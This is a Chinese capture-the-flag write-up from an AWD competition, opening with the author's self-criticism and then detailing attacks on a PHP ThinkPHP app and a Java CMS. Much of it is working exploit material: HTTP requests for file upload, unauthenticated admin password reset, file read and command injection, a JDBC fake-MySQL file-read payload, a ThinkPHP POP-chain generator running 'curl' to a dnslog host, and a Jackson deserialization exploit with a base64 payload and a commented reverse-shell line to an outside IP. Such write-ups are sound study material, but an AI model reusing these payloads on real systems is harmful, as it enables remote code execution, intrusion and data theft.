2025年广西网络与信息安全职业技能竞赛决赛 awd web部分 赛后WriteUP以及自我检讨

2025年广西网络与信息安全职业技能竞赛决赛 awd web部分 赛后WriteUP以及自我检讨

今天,广西省赛决赛,也是我第一次打awd线下赛。我搞砸了,彻彻底底。

直到最后比赛结束,大脑依旧一片空白,在断网环境下我就像被拔掉了个移动硬盘,手足无措,一道题也没做出来。

我的队伍只有我一个人,但是我不认为这是我失败的借口,一个人组队,意味着我要更清醒地意识到自己应该做怎样的准备,以及自己应该做什么。比赛一开始,我就因为过度紧张,犯了一个极其低级、愚蠢的错误:我完全没有仔细看裁判发的纸质密码文件信封还有第二张纸片(可能一开始也宣读过了,但是我因为紧张完全没听见),我像个二哔一样死盯着平台上的密码。在问了几个裁判,他们让我“重新登录平台”却依旧失败后,我才从另一位裁判那里得知,信封里的第二张纸片上写着ssh的正确密码。

就这一个错误,让我白白浪费了开局的十几分钟,选手防御时间就二十分钟。节奏彻底乱了。

登录上去之后,因为断网环境而手足无措。大脑一片空白像被灌满了浆糊。面对PHP的那个框架、Java的那个CMS,代码量都很乱很多,我明明知道它们肯定有漏洞,可我一个都找不到。那些在网上搜索复现、在AI辅助下看起来一目了然的漏洞点,在断网的时候,无比陌生。我像个无头苍蝇,在代码里乱撞。

CPP的菜单题,裸UAF的pwn,调试得手忙脚乱。看似以为自己明白了大致思路,到最后也不知道自己该怎么做。

我没有尊重这场比赛,没有尊重我的对手,甚至没有尊重我自己。根本就没有做好准备。

归根结底,是我基础太弱了。我的基础薄弱得像一层窗户纸,一捅就破。我太依赖网络上的文章和AI了,它们给了我一种“我会了”的虚假繁荣。一旦断网,我被扒得精光,所有薄弱和不堪全部暴露。

这已经不是第一次了。今年八月份的某比赛,同样的断网环境,我已经尝过这种强烈的挫败。可我却没有真正反省,没有去踏踏实实地补基础。离开了AI,我甚至连独立、耐心地阅读代码、分析漏洞都做不到。比赛快结束时,我脑子里空空如也,巨大的挫败感涌上来,鼻子一酸,差点当场哭出来。那一刻,我真的觉得自己是个废物。

今天这场比赛,像一盆冰水,浇醒了我这个装睡的人,让我认清自己:我没有扎实的基础,没有独立分析审计复杂代码的能力

我的问题在于我的态度,我总想走捷径,好高骛远,却忽略了脚踏实地,没有牢固的基础。

写下这些,不是为了卖惨。是写给自己看的,是为了记住今天这个狼狈、无力、失败的自己。我要把这份难受钉在这里,让它时时刻刻提醒我:

下一次,在断网的地方,我绝不能再输得这么难看了。

从现在开始锻炼自己适应摆脱搜索文章和依赖ai,多利用和收集整理本地的资料

以下题目都是我赛后联网做的,赛后做完发现这些分真的很不应该丢,大多都是特别基础的题目

php

题目名叫什么我忘记了,就叫他php吧

漏洞点1

默认密码admin/likeadmin登录

不知道为什么我当时没有登录成功,还有其他很多选手也是这样反映,我是在前20分钟内测试的likeadmin这个密码,按理来说即使有个密码重置漏洞也不会那么快打的,但是有师傅回去看自己录屏,确实是用likeadmin可以登录

这道题很难绷其实,登录框限制输入密码错误五次就自动锁定30分钟,但是因为靶机上的mysql会被锁定,普通用户无法访问数据库所以只能爆破,也就是说整场比赛下来最多尝试30次密码

漏洞点2

后台任意文件上传,这也是一个非常明显的漏洞,我当时也发现了,但是因为没法登录后台,思路卡主了

我第一次打线下赛的awd,以为一道题只有一个漏洞入口,因此没有去审其他代码,错过了很多更基础的漏洞

server\app\adminapi\controller\UploadController.php中有一个file()方法

可以上传任意文件

POST /adminapi/upload/file HTTP/1.1 Host: 192.168.2.27:8091 token: c44e3426e73f3f7c1a7562ce1cacb962 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Content-Length: 198 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="file"; filename="123.php" Content-Type: image/png <?php phpinfo();?> ------WebKitFormBoundary7MA4YWxkTrZu0gW--

漏洞点3

未授权

虽然说是前台漏洞,不过其实也是黑盒测出来的,在操作的时候删除管理员token发现依旧可以操作,代码很多很乱,awd时间短,这么紧张的时间一般很少人注意thinkphp的鉴权问题

管理员用户操作未鉴权

可未授权重置管理员密码

POST /adminapi/auth.admin/edit HTTP/1.1 Host: 127.0.0.1:2998 Content-Length: 247 sec-ch-ua: version: 1.9.4 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36 Content-Type: application/json;charset=UTF-8 Accept: application/json, text/plain, */* sec-ch-ua-platform: "" Origin: http://127.0.0.1:2998 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://127.0.0.1:2998/admin/permission/admin Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: http304ok=1; thinkphp_show_page_trace=0|0 Connection: close {"id":1,"account":"admin","name":"admin","dept_id":[1],"jobs_id":[],"role_id":[],"avatar":"http://127.0.0.1:2998/resource/image/adminapi/default/avatar.png","password":"admin1","password_confirm":"admin1","disable":0,"multipoint_login":1,"root":1}

即使不用token依旧能操作管理员账号

漏洞点4

也是一个非常明显并且基础的任意读取,但是我全程没有上正则的审计工具,在发现文件上传之后就一直琢磨怎么登录

server\app\adminapi\controller\FileController.php

read()方法的file参数在readfile里面

存在任意文件读取

POST /adminapi/file/read HTTP/1.1 Host: 127.0.0.1:2998 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: thinkphp_show_page_trace=0|0 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 17 file=E:\\test.txt

漏洞点5

命令执行

踏马的当时明明d盾已经扫到了这个call_user_func_array,但是我觉得不可能这么明显就没点进去细看,在现场的时候最后也和这个rce擦肩而过了

漏洞点6

反序列化

这个漏洞相对来说就比较复杂了

这是一个基于ThinkPHP框架与Symfony VarDumper组件组合的POP链

在server\app\api\controller\LoginController.php中

get_account()方法会对用户输入的cookie进行反序列化

这里是一个入口

访问/api/login/get_account时,Cookie中的Payload被反序列化,ResourceRegister对象被实例化。

代码入下

class ResourceRegister { /** * 资源路由 * @var Resource */ protected $resource; /** * 是否注册过 * @var bool class Rule */ protected $registered = false; /** * 架构函数 * @access public * @param Resource $resource 资源路由 */ public function __construct(Resource $resource) { $this->resource = $resource; } /** * 注册资源路由 * @access protected * @return void */ protected function register() { $this->registered = true; $this->resource->parseGroupRule($this->resource->getRule()); } /** * 动态方法 * @access public * @param string $method 方法名 * @param array $args 调用参数 * @return mixed */ public function __call($method, $args) { return call_user_func_array([$this->resource, $method], $args); } public function __destruct() { if (!$this->registered) { $this->register(); } } } 

当ThinkPHP框架处理ResourceRegister对象时,会访问其$resource属性,触发以下调用序列

// think\route\Resource 继承自 RuleGroup // RuleGroup 继承自 Rule abstract class Rule { protected $rule = "1.2"; protected $option = ["var" => ["1" => new Pivot()]]; }

关键机制在于,框架在路由解析时会遍历$option数组,访问Pivot对象

分析Validate类发现Validate类允许自定义验证类型

Validate类部分代码

class Validate { /** * 自定义验证类型 * @var array */ protected $type = []; /** * 验证类型别名 * @var array */ protected $alias = [ '>' => 'gt', '>=' => 'egt', '<' => 'lt', '<=' => 'elt', '=' => 'eq', 'same' => 'eq', ]; /** * 当前验证规则 * @var array */ protected $rule = []; /** * 验证提示信息 * @var array */ protected $message = []; /** * 验证字段描述 * @var array */ protected $field = []; /** * 默认规则提示 * @var array */ protected $typeMsg = [ 'require' => ':attribute require', 'must' => ':attribute must', 'number' => ':attribute must be numeric', 'integer' => ':attribute must be integer', 'float' => ':attribute must be float', 'string' => ':attribute must be string', 'boolean' => ':attribute must be bool', 'email' => ':attribute not a valid email address', 'mobile' => ':attribute not a valid mobile', 'array' => ':attribute must be a array', 'accepted' => ':attribute must be yes,on or 1', 'date' => ':attribute not a valid datetime', 'file' => ':attribute not a valid file', 'image' => ':attribute not a valid image', 'alpha' => ':attribute must be alpha', 'alphaNum' => ':attribute must be alpha-numeric', 'alphaDash' => ':attribute must be alpha-numeric, dash, underscore', 'activeUrl' => ':attribute not a valid domain or ip', 'chs' => ':attribute must be chinese', 'chsAlpha' => ':attribute must be chinese or alpha', 'chsAlphaNum' => ':attribute must be chinese,alpha-numeric', 'chsDash' => ':attribute must be chinese,alpha-numeric,underscore, dash', 'url' => ':attribute not a valid url', 'ip' => ':attribute not a valid ip', 'dateFormat' => ':attribute must be dateFormat of :rule', 'in' => ':attribute must be in :rule', 'notIn' => ':attribute be notin :rule', 'between' => ':attribute must between :1 - :2', 'notBetween' => ':attribute not between :1 - :2', 'length' => 'size of :attribute must be :rule', 'max' => 'max size of :attribute must be :rule', 'min' => 'min size of :attribute must be :rule', 'after' => ':attribute cannot be less than :rule', 'before' => ':attribute cannot exceed :rule', 'expire' => ':attribute not within :rule', 'allowIp' => 'access IP is not allowed', 'denyIp' => 'access IP denied', 'confirm' => ':attribute out of accord with :2', 'different' => ':attribute cannot be same with :2', 'egt' => ':attribute must greater than or equal :rule', 'gt' => ':attribute must greater than :rule', 'elt' => ':attribute must less than or equal :rule', 'lt' => ':attribute must less than :rule', 'eq' => ':attribute must equal :rule', 'unique' => ':attribute has exists', 'regex' => ':attribute not conform to the rules', 'method' => 'invalid Request method', 'token' => 'invalid token', 'fileSize' => 'filesize not match', 'fileExt' => 'extensions to upload is not allowed', 'fileMime' => 'mimetype to upload is not allowed', 'startWith' => ':attribute must start with :rule', 'endWith' => ':attribute must end with :rule', 'contain' => ':attribute must contain :rule', ]; /** * 当前验证场景 * @var string */ protected $currentScene; /** * 内置正则验证规则 * @var array */ protected $defaultRegex = [ 'alpha' => '/^[A-Za-z]+$/', 'alphaNum' => '/^[A-Za-z0-9]+$/', 'alphaDash' => '/^[A-Za-z0-9\-\_]+$/', 'chs' => '/^[\p{Han}]+$/u', 'chsAlpha' => '/^[\p{Han}a-zA-Z]+$/u', 'chsAlphaNum' => '/^[\p{Han}a-zA-Z0-9]+$/u', 'chsDash' => '/^[\p{Han}a-zA-Z0-9\_\-]+$/u', 'mobile' => '/^1[3-9]\d{9}$/', 'idCard' => '/(^[1-9]\d{5}(18|19|([23]\d))\d{2}((0[1-9])|(10|11|12))(([0-2][1-9])|10|20|30|31)\d{3}[0-9Xx]$)|(^[1-9]\d{5}\d{2}((0[1-9])|(10|11|12))(([0-2][1-9])|10|20|30|31)\d{3}$)/', 'zip' => '/\d{6}/', ]; /** * Filter_var 规则 * @var array */ protected $filter = [ 'email' => FILTER_VALIDATE_EMAIL, 'ip' => [FILTER_VALIDATE_IP, FILTER_FLAG_IPV4 | FILTER_FLAG_IPV6], 'integer' => FILTER_VALIDATE_INT, 'url' => FILTER_VALIDATE_URL, 'macAddr' => FILTER_VALIDATE_MAC, 'float' => FILTER_VALIDATE_FLOAT, ]; /** * 验证场景定义 * @var array */ protected $scene = []; 

因此可以劫持hidden映射给system

class Validate { protected $type = ["hidden" => "system"]; }

命令执行利用Symfony组件,继承Stub确保在序列化中保留完整结构

namespace Symfony\Component\VarDumper\Caster; class ConstStub extends Stub { public $value = "cat /flag"; }

pop链

<?php // +----------------------------------------------------------------------+ // | ThinkPHP 8 反序列化POP链利用代码 // | 利用入口: /api/login/get_account (Cookie: account=...) // +----------------------------------------------------------------------+ // ===== 第一阶段:Symfony VarDumper组件(命令存储) ===== namespace Symfony\Component\VarDumper\Cloner { class Stub { public $value = 'curl kd35jg.dnslog.cn'; public $type = 5; } } namespace Symfony\Component\VarDumper\Caster { use Symfony\Component\VarDumper\Cloner\Stub; class ConstStub extends Stub {} // 继承Stub以传递命令 } // ===== 第二阶段:ThinkPHP验证器(函数劫持) ===== namespace think { use Symfony\Component\VarDumper\Caster\ConstStub; class Validate { protected $type = []; // 关键:验证类型映射表 public function __construct() { // 将"hidden"验证类型劫持到system函数 $this->type = ["hidden" => "system"]; } } abstract class Model { protected $append = []; // 触发属性追加 protected $relation = []; // 绑定验证器 protected $hidden = []; // 存储命令对象 public function __construct() { // 构造三角关系:append -> hidden -> relation $this->hidden = ["pwn" => new ConstStub()]; // "pwn"是触发属性名 $this->append = ["pwn" => []]; // 触发对"pwn"属性的访问 $this->relation = ["pwn" => new Validate()]; // 访问时调用Validate验证器 } } } // ===== 第三阶段:ThinkPHP模型(触发载体) ===== namespace think\model { use think\Model; class Pivot extends Model {} // 具体模型类,继承Model的触发逻辑 } // ===== 第四阶段:ThinkPHP路由(入口包装) ===== namespace think\route { use think\model\Pivot; abstract class Rule { protected $rule = "1.2"; protected $option = []; // 路由参数,存放Pivot对象 public function __construct() { // 将Pivot对象埋入路由参数中 $this->option = ["var" => ["1" => new Pivot()]]; } } class RuleGroup extends Rule { public function __construct() { parent::__construct(); } } class Resource extends RuleGroup {} // 具体路由规则类 class ResourceRegister { protected $resource; // 启动链的入口属性 public function __construct() { $this->resource = new Resource(); // 包装Resource对象 } } } namespace { $entry = new think\route\ResourceRegister(); $payload = base64_encode(serialize($entry)); echo "生成的Payload:\n"; echo $payload . "\n\n"; echo "利用方式:\n"; echo "GET /api/login/get_account HTTP/1.1\n"; echo "Host: target.com\n"; echo "Cookie: account=" . $payload . "\n"; }

java

题目名字我也忘记了,好像叫什么cms吧,就叫他java了

当时拿到附件就被吓一跳,jar包接近80mb要去分析,开什么玩笑

来到pb-cms.jar!\BOOT-INF\classes\com\puboot\module\admin\controller\TemplateInitController.class

的位置,发现这是/init/template接口的控制器,直接调用了TemplateFileServiceImpl.copyTemplate() 方法,并接收用户传入的file, target, overwrite参数

继续跟进到TemplateFileServiceImpl

可以移动文件到指定目录并且选择是否覆盖

GET /init/template?file=C:/Users/attac/Downloads/192.168.20.128/202511190920/1.txt&target=C:/Users/attac/Downloads/192.168.20.128/202511190920/static/ HTTP/1.1 Host: localhost:8080 sec-ch-ua: sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close

命令执行

在BlogApiController中,会获取用户输入的path

并且直接根据当前系统将path拼接到命令中,可以使用逻辑运算符来截断

POST /blog/api/filelist HTTP/1.1 Host: localhost:8080 sec-ch-ua: sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 12 path=|whoami

jdbc连接mysql fake server读文件

看到连接mysql的功能,立马就能想到通过远程连接mysql fake server来读本地文件(当时线下断网,我的mysql fake server在公网服务器上)

参考文章

http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

https://www.vesiluoma.com/abusing-mysql-clients/

在testConnection中有一个连接数据库的功能

结合DatabaseVo.class构造jdbc连接mysql的payload

POST /database/testConnection HTTP/1.1 Host: localhost:8080 Content-Type: application/json Content-Length: 235 { "dbDriver": "com.mysql.cj.jdbc.Driver", "dbUrl": "jdbc:mysql://{服务器ip}:3306/fake_db?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/", "dbUsername": "caonima", "dbPassword": "hack" }

反序列化

在pb-cms.jar!\BOOT-INF\classes\com\puboot\module\admin\controller\CommentController.class中

存在一个backdoor路由

接收并且反序列化data参数传入的数据

@PostMapping({"/backdoor"}) public void backdoor(String data) throws Exception { this.commentService.deserialize(data); } private void completeComment(BizComment comment) { HttpServletRequest request = ((ServletRequestAttributes)RequestContextHolder.getRequestAttributes()).getRequest(); User user = (User)SecurityUtils.getSubject().getPrincipal(); comment.setUserId(user.getUserId()); comment.setNickname(user.getNickname()); comment.setEmail(user.getEmail()); comment.setAvatar(user.getImg()); comment.setIp(IpUtil.getIpAddr(request)); comment.setStatus(CoreConst.STATUS_VALID); } public CommentController(final BizCommentService commentService) { this.commentService = commentService; } } 

发现直接将data传递给commentService.deserialize(data),继续跟进commentService

// // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package com.puboot.module.admin.service.impl; import com.baomidou.mybatisplus.core.metadata.IPage; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import com.puboot.common.util.Pagination; import com.puboot.module.admin.mapper.BizCommentMapper; import com.puboot.module.admin.model.BizComment; import com.puboot.module.admin.service.BizCommentService; import com.puboot.module.admin.vo.CommentConditionVo; import java.io.ByteArrayInputStream; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectStreamClass; import java.util.Base64; import java.util.HashMap; import org.springframework.stereotype.Service; @Service public class BizCommentServiceImpl extends ServiceImpl<BizCommentMapper, BizComment> implements BizCommentService { private final BizCommentMapper commentMapper; public IPage<BizComment> selectComments(CommentConditionVo vo, Integer pageNumber, Integer pageSize) { IPage<BizComment> page = new Pagination((long)pageNumber, (long)pageSize); page.setRecords(this.commentMapper.selectComments(page, vo)); return page; } public int deleteBatch(Integer[] ids) { return this.commentMapper.deleteBatch(ids); } public Object deserialize(String data) throws IOException { if (data == null) { throw new IOException("data is null"); } else { byte[] decode; try { decode = Base64.getDecoder().decode(data); } catch (IllegalArgumentException var36) { IllegalArgumentException e = var36; throw new IOException("Base64 decode failed", e); } ByteArrayInputStream bais = new ByteArrayInputStream(decode); Throwable var4 = null; Object e; try { ObjectInputStream ois = new ObjectInputStream(bais) { boolean check = false; protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { Class<?> targetc = super.resolveClass(desc); if (!this.check && !HashMap.class.isAssignableFrom(targetc)) { throw new IllegalArgumentException("HackerClass:" + targetc); } else { this.check = true; return targetc; } } }; Throwable var6 = null; try { try { e = ois.readObject(); } catch (ClassNotFoundException var34) { e = var34; throw new RuntimeException((Throwable)e); } } catch (Throwable var35) { e = var35; var6 = var35; throw var35; } finally { if (ois != null) { if (var6 != null) { try { ois.close(); } catch (Throwable var33) { var6.addSuppressed(var33); } } else { ois.close(); } } } } catch (Throwable var38) { var4 = var38; throw var38; } finally { if (bais != null) { if (var4 != null) { try { bais.close(); } catch (Throwable var32) { var4.addSuppressed(var32); } } else { bais.close(); } } } return e; } } public BizCommentServiceImpl(final BizCommentMapper commentMapper) { this.commentMapper = commentMapper; } } 

其中deserialize方法的ObjectInputStream是一个沙箱,只允许 HashMap 及其子类作为第一个反序列化的类

第一次调用 resolveClass 时 check=false,会检查是否为 HashMap

第二次及以后调用时 check=true,绕过检查,可以加载任意类

HashMap开头的链子容易想到cc1 cc6等等

但是Created-By: Maven JAR Plugin 3.2.2,所以cc链打不了

看一眼依赖有jackson等等

主要是链子的拼接

漏洞参考

https://github.com/FasterXML/jackson-databind/issues/2986

https://zhuanlan.zhihu.com/p/1923706452289225199

通过这些依赖不难找到Gadget链

我参考的链子是

/* HashMap.readObejct() HashMap.hashcode() ObjectIdGenerator.IdKey.equals() XString.equals() POJONode.toString() */

最后的大致思路是先创建TemplatesImpl然后加载恶意类,包装成POJONode,利用hashmap打hashcode。用ObjectIdGenerator.IdKey构造哈希碰撞,在HashMap反序列化时触发POJONode的equals比较在HashMap反序列化的时候就会触发POJONode的equals比较,equals比较时触发TemplatesImpl的getOutputProperties

完整利用链

HashMap::readObject() ↓ HashMap::putVal() ↓ HashMap::hash() ↓ ObjectIdGenerator$IdKey::hashCode() ↓ POJONode::hashCode() ↓ POJONode::toString() ↓ POJONode::serialize() ↓ BeanSerializer::serialize() ↓ BeanSerializer::serializeFields() ↓ BeanPropertyWriter::serializeAsField() ↓ MethodProperty::get() ↓ TemplatesImpl::getOutputProperties() ↓ TemplatesImpl::newTransformer() ↓ TemplatesImpl::getTransletInstance() ↓ TransletClassLoader::defineClass() ↓ 恶意类::<clinit>() ↓ Runtime::exec()

payload

import com.fasterxml.jackson.annotation.ObjectIdGenerator; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xpath.internal.objects.XString; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import javassist.CtMethod; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URLEncoder; import java.util.Base64; import java.util.HashMap; public class exp { public static void main(String[] args) throws Exception { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); ctClass.removeMethod(writeReplace); ctClass.toClass(); TemplatesImpl tmp = new TemplatesImpl(); setValue(tmp, "_tfactory", new TransformerFactoryImpl()); setValue(tmp, "_name", "Phantom"); setValue(tmp, "_bytecodes", generateEvilBytes()); POJONode pojoNode = new POJONode(tmp); ObjectIdGenerator.IdKey idkey1 = new ObjectIdGenerator.IdKey(Object.class, Object.class, new XString("")); ObjectIdGenerator.IdKey idkey2 = new ObjectIdGenerator.IdKey(Object.class, Object.class, pojoNode); setFieldValue(idkey1, "hashCode", 0); setFieldValue(idkey2, "hashCode", 2); HashMap<Object, Object> hashMap = new HashMap<Object, Object>(); hashMap.put(idkey1, "x"); hashMap.put(idkey2, "a"); setFieldValue(idkey2, "hashCode", 0); byte[] serializedData = serialize(hashMap); String base64Payload = Base64.getEncoder().encodeToString(serializedData); String urlEncodedPayload = URLEncoder.encode(base64Payload, "UTF-8"); System.out.println("Base64 Payload:"); System.out.println(base64Payload); System.out.println("\nURL Encoded Payload:"); System.out.println(urlEncodedPayload); // unserialize(serializedData); } public static byte[] serialize(Object obj) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream objo = new ObjectOutputStream(baos); objo.writeObject(obj); objo.close(); return baos.toByteArray(); } public static void unserialize(byte[] string) throws Exception { ByteArrayInputStream bais = new ByteArrayInputStream(string); ObjectInputStream obji = new ObjectInputStream(bais); obji.readObject(); obji.close(); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static byte[][] generateEvilBytes() throws Exception { ClassPool cp = ClassPool.getDefault(); cp.insertClassPath(new ClassClassPath(AbstractTranslet.class)); CtClass cc = cp.makeClass("evil"); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");"; // String cmd = "java.lang.Runtime.getRuntime().exec(\"sh -i >& /dev/tcp/154.201.70.35/8080 0>&1\");"; cc.makeClassInitializer().insertBefore(cmd); cc.setSuperclass(cp.get(AbstractTranslet.class.getName())); return new byte[][]{cc.toBytecode()}; } public static <T> void setValue(Object obj, String fname, T f) throws Exception { Field filed = TemplatesImpl.class.getDeclaredField(fname); filed.setAccessible(true); filed.set(obj, f); } } // Base64 Payload: // rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAACc3IAOGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5hbm5vdGF0aW9uLk9iamVjdElkR2VuZXJhdG9yJElkS2V5AAAAAAAAAAECAARJAAhoYXNoQ29kZUwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wABXNjb3BldAARTGphdmEvbGFuZy9DbGFzcztMAAR0eXBlcQB+AAR4cAAAAABzcgAxY29tLnN1bi5vcmcuYXBhY2hlLnhwYXRoLmludGVybmFsLm9iamVjdHMuWFN0cmluZxwKJztIFsX9AgAAeHIAMWNvbS5zdW4ub3JnLmFwYWNoZS54cGF0aC5pbnRlcm5hbC5vYmplY3RzLlhPYmplY3T0mBIJu3u2GQIAAUwABW1fb2JqcQB+AAN4cgAsY29tLnN1bi5vcmcuYXBhY2hlLnhwYXRoLmludGVybmFsLkV4cHJlc3Npb24H2aYcjays1gIAAUwACG1fcGFyZW50dAAyTGNvbS9zdW4vb3JnL2FwYWNoZS94cGF0aC9pbnRlcm5hbC9FeHByZXNzaW9uTm9kZTt4cHB0AAB2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHBxAH4ADXQAAXhzcQB+AAIAAAAAc3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWVxAH4AA3hyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAABmMr+ur4AAAA0ABsBAARldmlsBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEBAAg8Y2xpbml0PgEAAygpVgEABENvZGUBABFqYXZhL2xhbmcvUnVudGltZQcACgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMAAwADQoACwAOAQAEY2FsYwgAEAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsMABIAEwoACwAUAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAFgEABjxpbml0PgwAGAAICgAXABkAIQACABcAAAAAAAIACAAHAAgAAQAJAAAAFgACAAAAAAAKuAAPEhG2ABVXsQAAAAAAAQAYAAgAAQAJAAAAEQABAAEAAAAFKrcAGrEAAAAAAAEABQAAAAIABnB0AAdQaGFudG9tcHcBAHhxAH4ADXEAfgANdAABYXg= // URL Encoded Payload: // rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAACc3IAOGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5hbm5vdGF0aW9uLk9iamVjdElkR2VuZXJhdG9yJElkS2V5AAAAAAAAAAECAARJAAhoYXNoQ29kZUwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wABXNjb3BldAARTGphdmEvbGFuZy9DbGFzcztMAAR0eXBlcQB%2BAAR4cAAAAABzcgAxY29tLnN1bi5vcmcuYXBhY2hlLnhwYXRoLmludGVybmFsLm9iamVjdHMuWFN0cmluZxwKJztIFsX9AgAAeHIAMWNvbS5zdW4ub3JnLmFwYWNoZS54cGF0aC5pbnRlcm5hbC5vYmplY3RzLlhPYmplY3T0mBIJu3u2GQIAAUwABW1fb2JqcQB%2BAAN4cgAsY29tLnN1bi5vcmcuYXBhY2hlLnhwYXRoLmludGVybmFsLkV4cHJlc3Npb24H2aYcjays1gIAAUwACG1fcGFyZW50dAAyTGNvbS9zdW4vb3JnL2FwYWNoZS94cGF0aC9pbnRlcm5hbC9FeHByZXNzaW9uTm9kZTt4cHB0AAB2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHBxAH4ADXQAAXhzcQB%2BAAIAAAAAc3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWVxAH4AA3hyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0%2FBbqyrMwMA